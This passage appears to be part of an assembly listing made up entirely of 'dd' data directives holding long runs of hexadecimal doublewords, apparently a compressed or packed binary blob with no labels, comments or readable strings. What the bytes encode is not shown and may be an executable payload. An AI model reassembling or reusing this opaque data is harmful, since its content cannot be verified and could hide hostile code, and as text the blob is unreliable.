7B2CFC6Fh, 54B2AA0Bh, 0E0E1830Ch, 5ACBB034h, 0A2512076h dd 0FFFF1F5Fh, 84234446h, 93D15F1Fh, 3F229929h, 0C23386E9h dd 0A97FF125h, 817DF02Fh, 0E66476CAh, 6D241832h, 4393330Eh dd 2FF8919Eh, 0E6E4FFF1h, 0B2D0E4E8h, 0F7BCC835h, 463897F4h dd 79C9993Bh, 0A3F8F394h, 5837F6FFh, 497B0AC6h, 0B65CA2Dh dd 107083CEh, 0F5276F42h, 7FF4BFFCh, 58E26025h, 9401074Bh dd 0EC381914h, 4F6309D4h, 0E7B6F1DDh, 56EAF3B2h, 568A4A85h dd 0BF8D0BDDh, 465FFFC1h, 1110EC7Eh, 1317128Fh, 0D12AC703h dd 7FE060Bh, 0B2407EB8h, 0FFFFE97Ah, 41AD2DE0h, 123286Ah dd 7D7DB3CEh, 279A1975h, 0A3686C3Bh, 972082E8h, 515FF16Eh dd 2B118979h, 0B8581DA3h, 6AAA5FD0h, 25FFDF05h, 45E5FFFEh dd 96250017h, 38320826h, 0BA466FA8h, 83023414h, 9D742EF8h dd 0F16FD035h, 0D295FFFFh, 3816110Ah, 0C3D48329h, 1F82541Ch dd 0A2357E39h, 7CAC0D72h, 0BFC67B13h, 8817FFC4h, 0D0021498h dd 0C0298C89h, 53044C6h, 4CE1B3EBh, 0D6FFA9C1h, 0D3F40FFFh dd 367703E0h, 0AA99000Ah, 2EF4EF78h, 3556EC5Eh, 7FFFFEA5h dd 36FD084Ch, 0B96DE9h, 0F8604957h, 42B563Fh, 0DACA0910h dd 46FF0A0Bh, 5B85FFFFh dd 10E18126h, 0B08F90Ch, 920521C1h, 1E4F800Dh, 0CCED16B7h dd 0FC1B1D64h, 7EE1FEA5h, 7706E281h, 0EA0DC237h, 0C10E1BC2h dd 0FFFF3945h, 5586FFFFh, 3F2F84D9h, 48C8C6Fh, 62C7308Eh dd 33D2F4ECh, 8AF08709h, 109533FCh, 0C1E8215Bh, 7FFF682Fh dd 0D05AFFA1h, 0A10E8218h, 90E4F7FCh, 0A65868E0h, 0B2D1157Ah dd 8AA00311h, 12FF04E4h, 0F9C7FFFFh, 0E47DD2EEh, 66161005h dd 160640C7h, 862E1CB9h, 6298AB7Eh, 0BB719B45h, 68DCFFC0h dd 6429D950h, 0CB061E1Eh, 91AA151Ch, 0DFFFB6D4h, 0AF912FE2h dd 4112D4CAh, 0D4D0B1D4h, 41089DDCh, 85A0206h, 5BFF665Fh dd 0C6B042FFh, 6028E27Bh, 6A250A51h, 0DC215229h, 50E9643h dd 0EB7FD0B8h, 1E8551D0h, 1AD5A04h, 3B5085Bh, 0FF1E755Fh dd 937FFFFh, 0E8BA00CEh, 8714CD52h, 0DAC0B98Ah, 91DE8C14h dd 0AC6AD850h, 35A0F882h, 0FD15D2B2h, 0D8D8FFFFh, 0DD1C31AEh dd 0D5874516h, 186D1FD8h, 16366C6Dh, 283430C5h, 68182FFFh dd 973FDCFEh, 48A672D8h, 7F180C88h, 4BC0901Eh, 847FFFFh dd 0DF7F1013h, 41909900h, 0AC04118Eh, 0E4DF121Ch, 6837EE1Ch dd 42D0BFFDh, 4502ED17h, 13210D4h, 11799172h, 0BFFE0720h dd 581B42F4h, 0FA30971h, 0C56C2D2Ch, 3660D8ECh, 0FF896AF0h dd 5497FFFFh, 988788C1h, 91BF01F3h, 8B80AE85h, 0B03B0381h dd 9649875Bh, 62ADF4F4h, 5BFF1547h, 0A441FFFFh, 12C73DEh dd 96010F2Ch, 0D36FE2B5h, 0F17D9641h, 99E6526Ah, 68046042h dd 0FFFFD6FFh, 24B61854h, 0D51BD447h, 596B5FE6h, 7D01D469h dd 1437F00Fh, 70D985C0h, 0C0BF9C9Ch, 0BA18EADFh, 0A0B13436h dd 0AD100A4Bh, 0E0723DB7h, 0A17FF4D4h, 4D26E25Fh, 6C8FFB34h dd 0E3EC5898h, 590803ECh, 0FFC4C526h, 586DF46Fh, 7637CA76h dd 0BD347C90h, 4FECF8A7h, 408D5110h, 0BFFFFFFFh, 84E89671h dd 0DD5C2330h, 5E402F9Eh, 379B0320h, 85720010h, 110221Ch dd 6128DE13h, 0FBB8C21Dh, 611DC6FFh, 555596F4h, 4320FF08h dd 0F9305C8h, 20F1B44h, 0FFFFD220h, 158C56DFh, 72720AFh dd 0E8EF3C36h, 48D837D4h, 0BF5C6AE2h, 316599DBh, 0F0BFFFE6h dd 671C3DFFh, 0D51818BFh, 0BA3EE561h, 0FC67F5C1h, 0B4660596h dd 0A6EE1454h, 16FDCCCCh, 0E439F6FFh, 0CC054390h, 2E4C03D1h dd 0AC3E2CCCh, 9C082819h, 37FFFEA5h, 0A226DC55h, 361894ADh dd 0B6151450h, 0F0860B72h, 0B4D7F8C9h, 0FFFFFF16h, 4DCFCB30h dd 0F855564Dh, 67840542h, 0ADCB6922h, 704BB658h, 0D1ECAD7Fh dd 0FFFF85FAh, 5984E7FFh, 0B97E88B3h, 915D84BBh, 7D0CC990h dd 6E6CB90Dh, 0CE4185A1h, 0FFFFC068h, 0E0ECFFFFh, 0B9A176CBh dd 0C48F24EAh, 0F00C6C4h, 597BFCCDh, 301C45Ah, 89E80F8Bh dd 4BD61442h, 0FED5D6CBh, 895FAB7h, 30D6C4BDh, 0A46DC8E1h dd 0BFC2CEFh, 0BF0B08D0h, 647B2FF4h, 7A0CB9E1h, 1ED0D56Dh dd 0E4648793h, 0B5A050B2h, 2B17DBFFh, 0CB3B05AFh, 6051C873h dd 0EAB9FF2Dh, 7FFFFFF4h, 8FB092DBh, 0B7050672h, 9DA3509h dd 4013E916h, 92AB150Ch, 0C8AED26h, 6ADF9321h, 38DFED8Bh dd 0CE4D3BCh, 3A69D9D0h, 0EDDA3125h, 2067F46Fh, 32CC1F02h dd 9FE4E5C8h, 8CB21615h, 0CBFC5A00h, 0B8B805DFh, 1C8721C9h dd 61DE30B8h, 10B6B872h, 16A837F0h, 0D4B901CCh, 909B95EAh dd 0A854BE4h, 3DC2922Dh, 377FE84Ah, 0C6FFE058h, 5D112C97h dd 8B207574h, 37B76767h, 0D646A2E1h, 3EFFFFC6h, 8B259DD5h dd 0D87C7701h, 4196C3Dh, 0CC324F32h, 39E9F2ADh, 0FFF56E85h dd 7768B5BFh, 60EF7CD2h, 9DE43857h, 0FC79FC59h, 30FF85FFh dd 30CC8138h, 8CD4E9CCh, 0C0777C11h, 9EFE83Fh, 5DB95377h dd 4E8F584h, 0D26E05F4h, 8D2AC57Ch, 5F24E977h, 45BFFC2Ah dd 0FE6102C6h, 53B6B7Dh, 10090140h, 0ED1451FFh, 37C6FF03h dd 18A3DCAAh, 0D5B4FE1Eh, 0B480E6BEh, 4B0A6F0Eh, 0E4FFFE05h dd 3A3E117h, 23660D9Ah, 0CBA6D492h, 0DF484B21h, 0FFFFE0D0h dd 4D73AD0Bh, 0DCBC2472h, 0D6F6D8EDh, 7CCA037Ch, 0EBAC38E0h dd 0FFFF1F06h, 6D0F5FFFh, 0DACCCCBh, 1C14A1ACh, 9F181721h dd 0C872B848h, 0B8CC95C9h, 0CF20E446h, 81465F10h, 0FFFFFFFFh dd 4C6D2712h, 14770006h, 3264E469h, 18200B26h, 6590B4BCh dd 0B4B46464h, 0ADFB5BEFh, 2F35B370h, 0ABD86305h, 0B4344C96h dd 7D6FFFC8h, 16388189h, 6CBBA88Bh, 0A83E0602h, 0CB8F198Ch dd 0FFFA20E5h, 50FFE25Fh, 3018CCEFh, 1A874AEh, 612E383Bh dd 0DE49C8A8h, 0A866964Ah, 0F638D000h, 5C0BB7FFh, 0C80E3099h dd 20010AE9h, 572E48E5h, 0D00746D0h, 0FF0BA723h, 31CFEDB7h dd 3200AC06h, 0A346302h, 0AC20CC1Ch, 0FF1C77CEh, 0ACB7EDFFh dd 967718F0h, 3ED2E831h, 0E319B4B0h, 1CC6C931h, 0EDD40CBAh dd 1072C9BAh, 18FB785Ch, 0BA4DD0EEh, 932C5343h, 0E1C8D893h dd 0A06FE8DFh, 650BD72Ah, 0D2A30A86h, 0EA9145BBh, 0ED12970Dh dd 667FFFFFh, 17232C12h, 0DCC8DE46h, 0CB2521A8h, 0A8A8C8F2h dd 7211C9C9h, 0C458CF46h, 6D5BFF45h, 0D45C19F4h, 3D2B3CAFh dd 0D4C04BD2h, 0CE4669B7h, 1B5BFF38h, 613F0AFCh, 0AA0E8F10h dd 92DCE72Ch, 0DC5A07AEh, 0FBDCD874h, 70FFC2F6h, 648E4990h dd 59D0DC26h, 0DC2BE892h, 8F90B44Bh, 1B00D027h, 0EC5A85FCh dd 2572E4D7h, 0C9051ED8h, 1BC0BE1Ch, 95CF2EDh, 0CE181306h dd 2907D941h, 0D83727FFh, 414D0D0Ah, 52BC0Eh, 0FFFDBE86h dd 14CEF8FFh, 7B58100Bh, 90F689A5h, 895BA723h, 2C913B54h dd 3F395187h, 0C9349874h, 0DFFFFFFFh, 0F5E5A57Ch, 4A02868h dd 0EB590661h, 14884A55h, 92BF70E5h, 680B8482h, 4C9047EFh dd 4BA5FF00h, 5C2E01FFh, 3900721h, 0D084E719h, 3B4F7836h dd 0C07214C8h, 0FFFFA1B8h, 9288A56h, 0B2819607h, 1278DEDDh dd 1FE03333h, 0DB6B49EAh, 1A7E0DFFh, 0E0F3033Ah, 9C1F216Bh dd 17162291h, 18623CD4h, 0D52FDB90h, 585530E2h, 552532D6h dd 0B22392D8h, 0FFFFE0D4h, 64DC52EDh, 0DCCC6407h, 8B225CD8h dd 14FE76B7h, 3C2CCAC8h, 95DCDD11h, 5FFC2D12h, 0D8E5C98Dh dd 0D2D800E7h, 0CB646600h, 0FFFFD6D8h, 0B190FE0Dh, 290C831Ah dd 2556B072h, 0DEB0E70Eh, 4862B6E6h, 871B16Dh, 0F5BFF842h dd 260180FFh, 0B8F9CA19h, 1869E7E0h, 47532244h, 0F06C9B7Dh dd 4751EA55h, 0B7FB7FC2h, 6CD08A0h, 51471066h, 86533AE5h dd 0C5DEC1Bh, 6FFE8E20h, 0FF04E974h, 0A98B60C4h, 0EC189719h dd 8236A995h, 0FFFFBC11h, 4A628DEDh, 0EB919C45h, 1A02C94h dd 0E5DC7AF1h, 0D4371D82h, 0FA1168C4h, 52F8DFFFh, 50631C3Eh dd 6245BA02h, 11906494h, 0EB4267BAh, 31010807h, 4BFFA508h dd 0F5BA97FFh, 48F08BFCh, 500B8B1Ch, 42D11B40h, 6E1B3920h dd 0FF9F6714h, 0CAFFFEA5h, 39D0844h, 0CE748540h, 12A2C711h dd 29180304h, 959E0047h, 0BF749788h, 10FFA5FDh, 0D98303D5h dd 0C98E6E24h, 0B034AF1h, 442D1CCFh, 0B6DDC560h, 0FE3716A8h dd 3A7092FFh, 54C68812h, 0EA9824B7h, 28790C59h, 821ED990h dd 0FF4AA5EAh, 247A5524h, 0F8C76C11h, 19522449h, 0DFFFFFFFh dd 82AD70BEh, 80F012E9h, 4C0B36E7h, 429C813h, 73510C97h dd 58E868B1h, 0E5E81Ch, 0FFD2FFBFh, 86ED44FFh, 0F0E139Bh dd 6303E585h, 0AD208F7Ch, 320C2007h, 1300BEA9h, 0C6ACE7F1h dd 78FD0BFFh, 0ED9113FDh, 5E348F8h, 7CFFDEF0h, 0B2C2EF12h dd 0FFFF5E62h, 8796FE25h dd 1FB4199h, 9150B766h, 0C27D1D88h, 746E6D43h, 2DB41A06h dd 0FF12FFB0h, 173986FFh, 2119C17Dh, 0C05F1A18h, 1C1A807Dh dd 0E0358B5Ah, 0C116296Eh, 0FFADFF0Ch, 277231FFh, 9D7304F8h dd 0C72C59BDh, 45273127h, 5DF9A2B8h, 360ADB4h, 0FF412EA1h dd 11FFFFFFh, 0CA4DE75Eh, 3560C85Ch, 4B620F01h, 0B88E1703h dd 0BAE85E02h, 346D5433h, 0E824C6E0h, 0A5A88283h, 6DFFFFFEh dd 54CB08ECh, 166615E8h, 0AC7622BAh, 43B8AD6Ah, 625FDFEEh dd 0FFFC603Fh, 25FFFE37h, 25DEEEE8h, 0C59BD98Ah, 667066BAh dd 81448D5Eh, 9843F489h, 16F999B1h, 2FFDBF04h, 8720EFFCh dd 0A0EC642Fh, 680D3FB4h, 30817702h, 46267B09h, 0FE880761h dd 9AF46FFFh, 0C1B674A9h, 4B9EC96h, 0FD20F380h, 6D9B1BE9h dd 242AF6E7h, 0FA5E888Bh, 0B7B0A5FFh, 0BC91396h, 1F00039h dd 8F257AD1h, 7C01AF04h, 37C2FFFFh, 203F2871h, 9CCA793h dd 781BDB3Ah, 0A812436h, 0E9B9C305h, 0E2DFFF76h, 0A4BEFFh dd 66989910h, 177DA078h, 8EA420D8h, 0B01D5329h, 520CC2E6h dd 0FFB7FFD6h, 9FE39FFFh, 0AE65A797h, 0CCF9B092h, 3BA5C09Fh dd 0B48002Ch, 0D81789D5h, 9E9DE32h, 0FFFE97E6h, 0E49388FFh dd 8CBB64C2h, 0F5098800h, 2D7317F8h, 45B904C2h, 84E98DF5h dd 0FFF5D8DBh, 55FA5EA5h, 5B202CBAh, 0F5A7820Eh, 720BD803h dd 4DF5D9A0h, 0FFFFFFA0h, 0B7A66CFFh, 0EBA0D97Bh, 0DFF405B0h dd 0A8D891F4h, 0E852FE41h, 38F0E15Ah, 784F27F0h, 8189BF1Bh dd 0FFFFFF33h, 110C01FFh, 7B3CBBF0h, 0F20AEB25h, 0D2320183h dd 0CF2CDA13h, 457C4696h, 48D0A78h, 93B9B354h, 0DFFFF812h dd 0B7E978FEh, 5ADB8563h, 0B42804ADh, 3BBF133Ah, 6E5CB04Dh dd 3D3C5603h, 8DFF3C3Dh, 58855F4Ah, 766DD341h, 9A2F03C0h dd 6A5E243Eh, 0FFFFE02Ch, 0B4A3BFFFh, 3E3DFE63h, 5F13CF7h dd 0F7EE17C4h, 0C6FA121h, 5215F4B8h, 0D790485h, 8DF8B7Fh dd 250B18D6h, 55EB9D28h, 5CC5178Fh, 0A97FFF36h, 897C26FFh dd 4ECC54A2h, 0C0A32AF7h, 2D31CD87h, 3A39D068h, 0C1C5181Eh dd 0FFFFF835h, 0F8501CFFh, 43B11B7Dh, 3D19D662h, 209A0570h dd 7A358h, 0F67E4860h, 203A5A2Ch, 0FE8D0371h, 8B791637h dd 66CA51E2h, 75305921h, 0FFBEF747h, 664BFFFFh, 0C6692F33h dd 0C213B005h, 64081E20h, 0FA013FE5h, 8E080h, 0A03C328h dd 0FD0BFF48h, 7D948942h, 0CAD03605h, 2442B15Eh, 1E8835AAh dd 0FF882198h, 265A0CFFh, 9DA12402h, 180B880Ch, 0CC1B20A6h dd 0E044B3B6h, 907F16FFh, 840E2F13h, 0B0B20225h, 28A4A43h dd 838249AFh, 0DFFE17F0h, 0C2B92830h, 0C62C155h, 5E2A4398h dd 1201DD8Bh, 0FF20DD26h, 9DBFE37Fh, 0B30B28B5h, 0F716726Ah dd 0EB844FE0h, 787E6A10h, 9AACB502h, 0FF9F7C41h, 62D502FFh dd 0EF17D055h, 2878A35Ch, 0DB3F607Fh, 0C5AE168h, 0FF6FFF8Dh dd 0CB2EDA46h, 0E921DD06h, 0F0E80A1Ah, 21C8C509h, 0B78FFCF0h dd 0FFFFFF5Eh, 7B670DBh, 0DF183391h, 70A3FA3h, 7734C59Eh dd 0FBBFD730h, 889A81BCh, 0A08D41B4h, 7A17FF06h, 0EB27EBE1h dd 0A5A2381h, 60FBF031h, 8510AF47h, 1661240Bh, 0F3FFD4BAh dd 52358281h, 240C3148h, 3D927480h, 0FFFF1D3Ch, 3A8A25FFh dd 0E48446F3h, 4FFF5C59h, 0B2530341h, 5569B485h, 2B416Eh dd 0FFC0C058h, 0EC45B02h, 0F478AD03h, 633C68A5h, 0F8B230AAh dd 0D1FFFFFFh, 0F4F3ECA4h, 0EB94968h, 0EC98A6A8h, 0E16558C3h dd 0EDA0C424h, 0F41E557Ch, 81B6324Dh, 5105A2DFh, 0FFA4E83h dd 7F05ED93h, 0ADFE0DA1h, 40879C2Eh, 40AB8B10h, 0FADB0E4Bh dd 0D87042ABh, 36FFD0BAh, 38400B40h, 92A5B5E8h, 5A211AA1h dd 0FFFF3A47h, 746C5A97h, 2C3A1047h, 0DD980759h, 90A09AAFh dd 7A8468BDh, 560EA4CAh, 0B606FE37h, 45D5F83h, 0CD524150h dd 0FF3FA454h, 0CF25FDDEh, 91AC05h, 14105CA8h, 201C1807h dd 302C2824h, 9FCFE7F3h, 403C3834h, 504C4844h, 60B05854h dd 0FCFE7F64h, 706C68F9h, 807C7874h, 908C8884h, 0A09C9894h dd 85EB7FA4h, 49997CBh, 0D9E8CC00h, 355759Eh, 0F55F6D4h dd 0FFF02D44h, 0C60352B6h, 0A69A6CB3h, 12FEECDAh, 7D5B4D32h dd 44276FF7h, 0A08C7458h, 0C60A36B8h, 0F0E6DCh, 0FEEEBACEh dd 59AEFFF6h, 3A3B9E0Ah, 62035607h, 6E2969A6h, 0BAA09084h dd 0F0D0334Dh, 0FFE5F108h, 5434FEDDh, 9C847229h, 815292AEh dd 2B1A86B9h, 115BFF7Ch, 6E9B5DBFh, 87F3A890h, 6C0B50DCh dd 0DB38341Dh, 0FFFFFF53h, 7D23B1FFh, 0F7FFAA66h, 4BC521FFh dd 0B975A44Eh, 2EB7FCCCh, 3A63FB81h, 726F775Ch, 0B6A25C6Bh dd 5BFFFFBFh, 32839FDh, 0BC6F5C6Eh, 885C0270h, 0B7D820DFh dd 702EA074h, 0EC006264h, 0FFF1BFDDh, 12BE82FFh, 13C3F5BDh dd 0BCB90F31h, 1907F2E4h, 2EB5190Dh, 2E4B09BBh, 0FF315E2Fh dd 64FB9A17h, 98339231h, 88D30515h, 7737B435h, 0BAB70959h dd 897F8D03h, 0C6CB27FFh, 5CC075EBh, 452910Dh, 0B2B08556h dd 165EB313h, 2DFFFE5Fh, 5E50FF55h, 43775A05h, 316B6F6Ch dd 629BB6CDh, 5F0E5067h, 15FFFFF8h, 556F4F88h, 4BFE054Bh dd 52046C34h, 0C1175A0Ah, 158E6C74h, 1B74B302h, 0FEB7E97Fh dd 23745347h, 0B28C367h, 57273E84h, 0B6E0B800h, 50566FB7h dd 0EA837FFFh, 106C6F6Fh, 42246154h, 0FB16CD13h, 74614A50h dd 0FFFF3517h, 51A9E2DFh, 306E02AAh, 6D377972h, 6ADE4411h dd 219ED6B2h, 50B40012h, 6FE85473h, 7B70FF44h, 53B50A90h dd 6C277379h, 255EDB7h, 0A9706FC7h, 6157DFDFh, 4558465Eh dd 36A23C6Dh, 0DFFFAAD1h, 5BFFF8h, 5DF00FFh, 6378655Fh dd 26685F2Ch, 1685B5B5h, 7828B72h, 1C5BDADBh, 0FFFFF897h dd 0B666552h, 422763C8h, 0DD732179h, 1E48B1h, 51436191h dd 0DC0A6A5Eh, 0FFF4BFFFh, 7B5F4A00h, 0B6657645h, 0E6BADB0h dd 72A266ACh, 9EE02B4Ah, 193CC19h, 0FFFF0024h, 2569FFFFh dd 0EC3C0077h, 614E6833h, 770622BBh, 0DB828D6Ch, 6D337363h dd 6D0F2370h, 2BAE671Ah, 0FFFF2967h, 0F163FF4Bh, 0DCFC467Bh dd 111F77Eh, 0F7706319h, 6F49020Ah, 6C7A4366h, 2802EB44h dd 0E05FFFFFh, 0DCFD3601h, 76E201DBh, 64247542h, 430C7E44h dd 0B52E0AB1h, 6C226A6Fh, 0FEB7FFF8h, 5B73EA52h, 211D1AEBh dd 4C6C0E52h, 4C3EDB24h, 0B7009D36h, 0FF717341h, 2D37FFFFh dd 660F6B78h, 0FA4D9B89h, 6D4D036Dh, 5010A0A3h, 5A495CE6h dd 4C620161h, 0FFF15085h, 4AA7C2FFh, 0F115832Ch, 0A9724921h dd 82B60B4Ah, 31B586FBh, 6EFCE7A8h, 6FFE0DFFh, 0D6BA22D3h dd 6805622Ch, 320EC3D1h, 0DD6FAF0Bh, 0C15394BEh, 0FFF897FFh dd 0F5214686h, 866C4966h, 433AD6EDh, 6F6DA66Bh, 845F48CDh dd 4CDF0EFCh, 0FFA37FFFh, 37A11F69h, 8574414Dh, 4F98CD82h dd 0C381DC83h, 79841B9Dh, 0E3153992h, 0FFFF46FFh, 7C727543h dd 421D90B5h, 63A0A774h, 0CCE19B0Ah, 634D5493h, 6FDDDFCAh dd 0FFFFDA25h, 0EC10AC1Bh, 5E70756Bh, 3D490890h, 0AE1984DBh dd 5FFEE176h, 0F0BA5817h, 30C3C2B5h, 0E8616201h, 6E47DF96h dd 0FFFFFFD1h, 2963176Bh, 0C2DA9778h, 8B293B92h, 60726B45h dd 6EE36AA6h, 65872E6Ch, 837FB54Fh, 767CBFFAh, 6C715561h dd 93664D13h, 0A7ACFA77h, 520D4E0Eh, 0FFFFFFF8h, 550DB6AFh dd 48782A76h, 0C24C41h, 18146E9h, 61B0EEh, 0A4E9B1EDh dd 45F8B453h, 0E0D0BFE5h dd 7A71C897h, 1D7A6FF7h, 0A297378h, 0FFF84517h, 207916FFh dd 0E07110A9h, 0FD869C10h, 0F2E20B46h, 492099EBh, 114C5152h dd 0B037A171h, 0BA28B7FAh, 0FFE85C00h, 0DDEF37FFh, 82A9A352h dd 74037950h, 0FECC6D09h, 4E17D75Ch, 0F6609h, 0F428372Eh dd 0D802625Fh, 3E006890h, 3DA40771h, 0DF8D6292h, 632EFFE2h dd 0E0534100h, 0B7B22254h, 6481036Dh, 9F742F7Ch, 0FFFFFFFFh dd 0F544038Ch, 2630776h, 0DCD12ADh, 9CD5F2FAh, 17B2BE48h dd 54630054h, 41DE072h, 1D732B4Bh, 0A955BFF0h, 0A2E70B41h dd 0A17703h, 0E0886E80h, 6FFFFFA2h, 0F70917DCh, 141BE028h dd 69767C58h, 75536E78h, 61888F63h, 0FFFF897Fh, 12204726h dd 60D1373Bh, 41DD1060h, 3520296Ch, 43E0CDF4h, 7FFFFFE1h dd 524B3828h, 1BEF69FEh, 2057BFEDh, 4E203D21h, 1D4C4C55h dd 555254ECh, 0D52FA245h, 35A87FFEh, 7F192747h, 0EC303629h dd 0C2B6857Fh, 64770C24h, 0DBFFFFFFh, 0BBAA2E6Dh, 1A68F75h dd 0F56F4770h, 26CA740Fh, 0F1F9BACh, 27732573h, 5850763h dd 0FA37D0BFh, 1170400h, 0CD5CCDh, 30AA1818h, 200DD743h dd 0FFFFFFFFh, 9480809h, 7145B458h, 0E4A623F2h, 0E0DE3C04h dd 785487C2h, 3DC96C6Dh, 3A6E8C22h, 6B704473h, 0FFFFFFFFh dd 18137025h, 9AD06D2Dh, 0F5F18228h, 8226103Ah, 764FBEA6h dd 8A202231h, 0CDFD669h, 0F856820Dh, 0FFFF817Dh, 2E313297h dd 0B7152230h, 0D3EFB0Fh, 4B2F3C0Ah, 44011F3Eh, 0FFFF1544h dd 0BED6FFFh, 858589Ah, 2BAA6F0Fh, 8CC02946h, 303C3026h dd 0FE5FFFFFh, 315D30BCh, 0FFFF3190h, 32DBF56Fh, 72253241h dd 93327B32h, 0CF32BA32h, 0E330032h, 114B2633h, 77FFFCh dd 2B33FFFFh, 5F335533h, 6E336433h, 0E533DF33h, 3495199Ch dd 0FC0B341Fh, 3426FEB7h, 34393433h, 5B34CA49h, 68346134h dd 34608534h, 0FFB1FFFFh, 34A43497h, 34B134ABh, 34BD23B7h dd 34E534E0h, 350034FBh, 35713550h, 6FFF3584h, 358FFFFEh dd 35D73599h, 35F235DCh, 360D35F7h, 36B712h, 37D337ACh dd 37F137D8h, 0FFBFFFF6h, 380F37FFh, 38763814h, 38A3387Bh dd 38C138A8h, 5F4338C6h, 0C639BC39h, 0DF39D539h, 502FD439h dd 0ED3A46E0h, 323BEC4Ch, 0FA3B483Bh, 8ABD6FB7h, 0F4E3C02h dd 0FE3C5D3Ch, 3CDDFC94h, 3D523CF9h, 5FFBBFE2h, 0B79420CBh dd 0F234AF32h, 0EF378A34h, 0D435BF61h, 72362F35h, 5FF4BFFFh dd 36DF3677h, 371A3705h, 6B37193Ch, 22380437h, 0B1386C38h dd 0A9EDFFF4h, 7DF055BFh, 0E079B38h, 397D396Ch, 0FF86399Bh dd 387FFFFFh, 0DFFF3AE1h, 7780BFFEh, 5E3B493Ah, 0E3BF03Bh dd 3C203Ch, 3C6B3C4Dh, 3D2E3D10h, 0FFFFFF56h, 3D5B3DEFh dd 8D3D7C8Dh, 263D973Dh, 633E3B3Eh, 823E763Eh, 0C43EA13Eh dd 0DA3ECE3Eh, 6FFFFA3Eh, 0A13F83FFh, 0F63FB33Fh, 0D3CD213Fh dd 0CC143FFBh, 302D301Ch, 30CF3037h, 7FFF30E4h, 1F2337F7h dd 4A312B31h, 6D313C0Dh, 83317731h, 5C323E31h, 0C6329232h dd 0EEFA9732h, 0EC32CBFFh, 1B32FD32h, 7E434C33h, 0A133F8E6h dd 72FBAB33h, 0FFDFFF34h, 0BB34B6FFh, 0ED34DC34h, 3C350B34h dd 6E354F35h, 78359135h, 3644359Bh, 36A63662h, 0FFFFF6ABh dd 36CC36FFh, 36EA36DDh, 3743372Eh, 37753762h, 37A03781h dd 37CD37C3h, 0DFC2FFADh, 0EFFF09D9h, 38DAFFFEh, 4C391741h dd 0F539E039h, 0F7AF0639h, 3A2F3A37h, 3AB03AA9h, 3E603E4Dh dd 5FF7774h, 3E783EFEh, 3E803E7Ch, 0AF3EAA9Bh, 0CB3EB53Eh dd 0E77F1FADh, 0D1BFFF3Eh, 53EF2FFh, 153F0F3Fh, 193F1B3Fh dd 3F433F32h, 3F503F4Ah, 3F703F5Eh, 37FFFF7Ah, 3F8B3FF8h dd 0FFB07F92h, 0AC3F983Fh, 0EA3FD63Fh, 0BA840CBh, 21301B30h dd 56E2DF30h, 30912BBFh, 6B30A635h, 308230FBh, 0FF5BEE8Ch dd 309730FFh, 30A4309Eh, 314B3144h, 31A03191h, 0AC31BAA4h dd 0A8F1F85Bh, 0B0EADFFEh, 3210FE31h, 323C3225h, 32543246h dd 0A37F3261h, 328BB7F0h, 0E3EBC187h, 0EA6D683Bh, 0F632F032h dd 0F6FFFF32h, 232FCFFh, 143D0833h, 20331A33h, 0BFFF1643h dd 3332332Ch, 333E3338h, 334A3344h, 0BDFFE50h, 335633FCh dd 9D62335Ch, 73337451h, 3380337Ah, 338C3386h, 0EFFFFFFh dd 339E33C0h, 33AA33A4h, 33B633B0h, 33C233BCh, 33CE33C8h dd 0D2CD33D4h, 5B7C3D0h, 33DAFFFEh, 33E633E0h, 5031F2D1h dd 77E41C24h, 0FFFF56FFh, 312C3120h, 313C3130h, 314C3140h dd 5D5C3150h, 70316C31h, 0FF317C31h, 80FE005Fh, 23E25831h dd 2F945008h, 97F02A00h, 544820BEh, 0FF2F5054h, 71FFFA37h dd 5C070DEDh, 0CB634103h, 2A2F2A55h, 122DFC22h, 542D0269h dd 0A9657079h, 3AFFD5BFh, 23896289h, 95617045h, 8BB5FC2Fh dd 3B2B2DA0h, 0FFD5528Fh, 0E46EC27Fh, 3D33A380h, 0E2AB002Dh dd 6437BF8Dh, 0FF80CE37h, 3064FA17h, 17528163h, 412D0D85h dd 71525767h, 4BFF6480h, 5A6B05FCh, 882B712Bh, 5E9A1008h dd 5CD65D0Bh, 0FF4828DBh, 19FFFFFFh, 4C879D22h, 0BDD28A8Eh dd 68746704h, 1E716413h, 6C7B0216h, 69444275h, 2E0689DAh dd 0FFFB6158h, 47FFFFFFh, 0CB151E0Dh, 0CD7481C7h, 0B7DB04Ah dd 1D660C22h, 0A1231510h, 2E678ABBh, 6B0B2214h, 0A9497DADh dd 0A6FFFFFFh, 18636F2Fh, 0AB4AB17h, 325ACDACh, 45990397h dd 0D5AEB28h, 81002030h, 0FFFF8B2Eh, 28C4067Fh, 0DC8D2900h dd 670254C5h, 0AC4145B0h, 0CF906419h, 0A4A80F07h, 0FFFFF1C6h dd 2190197Fh, 0BA98039Ch, 4066901h, 885F0690h, 406E92D8h dd 0B1800F05h, 97D81C50h, 662FF828h, 6C29020Bh, 12D525B0h dd 0E9C8B605h, 66FF5BFFh, 0A9031F3Dh, 0A113F20Fh, 26820040h dd 9773626Eh, 0D8C70D8Ch, 0EDDBC07Bh, 29F8547Fh, 0C339CD5Ch dd 0C0004065h, 62213203h, 0A17B7FD3h, 2007ACBFh, 0FE937874h dd 6D7479BEh, 70600827h, 2717068h, 0F9C5BE2Dh, 45612EF3h dd 43881764h, 0C155BFF8h, 0BB6D3474h, 681016D8h, 61772D27h dd 0B7FFFFFFh, 6EB7D2B8h, 2E2A0BDFh, 7646002Ah, 721C6A67h dd 7C765A5Ch, 0EEF7DBFAh, 0D6662h, 5CFFFFE2h, 34F4E4Ah dd 6F6E0434h, 79765320h, 97DDFB7Eh, 0FFFF41EAh, 2F05DFFFh dd 637A7247h, 6C2C6562h, 67615620h, 9B637FA3h, 1E677292h dd 62595766h, 0FF936E70h, 55FFFFFFh, 466DDAE1h, 0C1766712h dd 0A96EAB11h, 52504FDFh, 4C49464Fh, 5C6C3AF1h, 935B6EBh dd 0FF475C62h, 76FFFF6Fh, 0B600F00h, 0FA086F56h, 0AC45640Fh dd 0C6249EFEh, 9779732Eh, 220D6078h, 0FF1BDAC5h, 53FFFD2Fh dd 884C5259h, 4D455717h, 183A835Ch, 5C604B11h, 5B279C53h dd 0A724BDA0h, 0D0BFF539h, 4220FA1Bh, 75D72F4Eh, 6461FA73h dd 0BFAA5322h, 336837D4h, 0D3B2F2C6h, 13479B86h, 0FF6F3033h dd 0A0FFFFFFh, 84E5C816h, 9EC9FCA9h, 0F639F26Ch, 6B0FD407h dd 2192403Dh, 0E91FC899h, 85C80ED0h, 6A40781Ch, 80FFFC1Bh dd 34EC5F57h, 5B1BDB9Fh, 311D0B03h, 1CC96F67h, 0DFFE97FFh dd 0C21F732Ch, 5F2F645Eh, 7B40C777h, 0E487245Ch, 517F00CCh dd 0C285C982h, 